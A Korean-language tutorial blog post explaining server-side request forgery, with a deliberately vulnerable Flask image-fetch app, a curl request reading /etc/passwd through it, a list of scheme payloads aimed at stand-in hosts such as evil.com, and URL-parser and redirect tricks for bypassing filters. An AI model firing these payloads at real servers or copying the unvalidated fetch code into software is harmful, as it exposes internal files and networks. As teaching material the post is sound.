서버를 속여 데이터를 얻어보자!
Server-Side Request Forgery(SSRF, 서버 측 요청 위조)
는 OWASP Top 10에 선정되었을 정도로 높은 빈도를 보이는 웹 애플리케이션 공격 기법이다. SSRF는 단어 그대로 서버가 위조된 요청을 보내도록 하는 취약점이다. Client-Side Request Forgery(CSRF, 클라이언트 측 요청 위조)
기법에 대해 이미 알고 있다면 해당 공격 기법에서 요청을 보내게 되는 주체만 브라우저(Client) 에서 서버(Server) 로 바뀌었다고 이해해도 좋다.
웹 애플리케이션을 구현하다 보면 외부에 있는 데이터(DB에 있는 사용자 정보, 게시판 글 현황 등) 를 다른 서버에 요청(Request)해야 하는 경우가 많이 있다. 아니, 아마도 필수적일 것이다. 데이터를 요청하기 위해서는 해당 자산이 위치한 주소(URL)가 필요한데, 만약 공격자가 이 주소를 수정할 수 있다면 서버가 SSRF 공격에 노출되어 있는 것이다.
주로 웹 상에 이미지를 보여줄 때 URL 요청으로 가져오는 경우, 파일 다운로드 시 파라메터에 URL이 포함되는 경우 등 서버가 주체가 되는 요청이 수행될 때 이를 위조할 수 있는 상황 이 만들어지면 취약점이 발생한다.
예를 들어 아래와 같이 사용자가 입력한 이미지 URL을 조회하여 화면에 그대로 출력하는 Flask 앱이 있다고 가정해보자.
from flask import Flask, request
import urllib.request
import base64
app = Flask(__name__)
@app.route('/')
def helloworld():
return 'use /image?url='
@app.route('/image')
def get_url():
url = request.args.get('url', '')
if url:
req = urllib.request.Request(url)
with urllib.request.urlopen(req) as response:
data = ("data:" + response.headers['Content-Type'] + ";" + "base64," + base64.b64encode(response.read()).decode())
ret = f"<img src='{data}'/>"
return (ret)
return "no param"
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000, debug=True)
해당 애플리케이션에 아래와 같이 요청을 보내면 url 파라메터에 해당하는 사진을 띄워준다. (참고로 python requests 모듈은 file scheme을 지원하지 않는다. 때문에 urllib를 이용한 예제를 제시하였음)
http://vuln.app:8000/image?url=https://picsum.photos/200
위 코드는 사용자로 부터 URL을 입력받으면 해당 URL로 서버가 HTTP Request 하고, Response를 브라우저 상에 이미지로 표출해준다. 이때, 악의적인 사용자가 이미지가 위치해 있는 URL이 아닌 DMZ 영역 뒤에 있는 인스턴스의 IP, file scheme을 이용한 local file의 경로 등을 요청하여 SSRF를 수행할 수 있다.
간단한 예시로 file:///etc/passwd
를 요청해보자. file://
과 같은 scheme
에 대해서는 후술할 예정이나, 간단히 말하자면 해당 서버 내부에 있는 파일을 요청한다고 생각하면 될 것 같다. 아, scheme
은 http://
, ftp://
, file://
과 같이 URI에 있는 데이터의 종류를 식별하는 식별자이다.
$ curl http://vuln.app:8000/image?url=file:///etc/passwd
<img src='data:text/plain;base64,cm9vdDp ... (중략) ... aW4K'/>
# 위에서 획득한 base64 string을 decode 하면
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
... (후략) ...
url 파라메터에 file scheme을 이용하여 서버 내부에 있는 파일을 요청했을 때 성공적으로 응답해주는 것을 알 수 있다.
SSRF 공격의 구조를 그림으로 그려보면 이와 같을 것이다.
간혹 SSRF를 쉽게 설명해야 할 때가 온다면 나는 이렇게 설명하곤 한다.
"SSRF 공격은 은행 강도와 같습니다. 은행 강도는 총과 칼로 직원들을 협박해서 금고에서 돈을 가져오게 시킵니다. 금고 문은 직원들만 열 수 있거든요. SSRF도 똑같습니다. 내가 원하는데로 서버에게 요청을 보내도록 협박한다면 원하는 데이터는 무엇이든 얻을 수 있어요."
SSRF 공격이 가능하다는 사실을 알게되었다면 그 후에는 무엇을 해야할까? 우선 공격이 유효한지 알아야하니 simple http server 같은거 하나 열어놓고 본인 서버에다가 요청을 보내보자. 이후 공격 방법은 다음과 같다.
앞서 언급했듯이 URI Scheme
은 URI에 위치한 자산이 어떤 종류인가를 식별해주는 식별자이다. 가령 예를 들자면 file://
은 로컬 파일, ftp://
는 ftp에 들어있는 파일이다. 이제 시도해볼만한 Scheme
들을 살펴보자. (페이로드는 여기서 퍼왔다. Ref.)
file:///etc/passwd
file://
은 가장 먼저 시도해볼만한 프로토콜이다. 대상 서버가 linux os 라면 /etc/passwd
, windows 면 C:\boot.ini
와 같이 무조건 있을 법한 파일을 건드려보자.
# Java Application
url:file:///etc/passwd
뒤에 나올 Scheme
들이 다 그렇겠지만 Java Application 이라면 url:
을 앞에 붙여서 시도해보자. 만약 타겟이 되는 서버에서 startWith()
로 file://
을 필터링하고, java.openStream()
과 같은 방식으로 Request를 Handle하고 있다면 url:
을 붙여서 공격을 시도해볼 수 있다. (Ref.) (트위터 어떤 유저가 알려준 트릭)
실제로 이러한 공격 패턴이 Codegate CTF 2022 예선문제에서 출제 되었었다.
dict://<user>;<auth>@<host>:<port>/d:<word>:<database>:<n>
ssrf.php?url=dict://attacker:11111/
ssrf.php?url=sftp://evil.com:11111/
ssrf.php?url=ldap://localhost:11211/%0astats%0aquit
LDAP은 학교, 회사와 같은 집단에서 사용자 인증 정보를 중앙화 해서 한곳에서 관리할 수 있도록 만들어놓은 프로토콜이다. 회사 공유폴더, 공유 일정, 공유 연락처 등등.. 굉장히 많이 사용되는 프로토콜인만큼 시도해볼만 하다.
온전하게 네트워크 망을 구성해서 사용하고 있는 서비스라면 사용자에게 보여줘도 되는 외부망과 사용자에게 보여져서는 안되는 자산들을 내부망에 구축했을 것이다.
원래는 일반 사용자가 내부에 존재하는 자산에 접근할 수 없지만, SSRF 공격을 이용한다면 IP, MAC 주소 기반 차단등을 우회하여 스캐닝을 수행할 수 있다.
응답의 유무를 확인하거나 응답에 걸리는 시간을 확인(Time-Based)하여 스캐닝을 수행할 수 있다.
302 ms - http://test.company.com
1307 ms - http://db.company.com
5483 ms - http://jira.company.com
1410 ms - http://docs.company.com
1366 ms - http://kafka.company.com
만약 test, db, jira, docs, kafka 와 같은 하위 도메인을 스캐닝 했다고 가정해보자. jira.company.com을 보면 응답 시간이 유독 길게 측정되었으므로 해당 URL에 자산이 있을 확률이 높다.
공격 대상 서버의 요청을 위조할 수 있지만 특정 URL만 요청할 수 있도록 설정되어 있거나(whitelist), 특정 URL은 요청할 수 없도록 필터링(blacklist) 했을 때 사용할 수 있는 방법을 소개한다.
BlackHat에서 발표 된 내용이다. URL 파서는 URI 뿐만 아니라 @
, #
, ?
, :
등 다양한 character 들도 파싱하기 때문에 이를 이용하면 필터링을 우회할 수 있다.
# "@" 앞부분이 날아가고 mal.url.com 이 요청됨
http://correct.url.com@mal.url.com/
# "#" 뒷 부분이 날아가고 mal.url.com이 요청됨
http://mal.url.com/#correct.url.com
http redirect하는 페이지를 하나 만들어서 여기로 돌린다.
# redirect 되어서 mal.url.com이 요청됨
http://vuln.app/?url=http://your.app/redirect?url=http://mal.url.com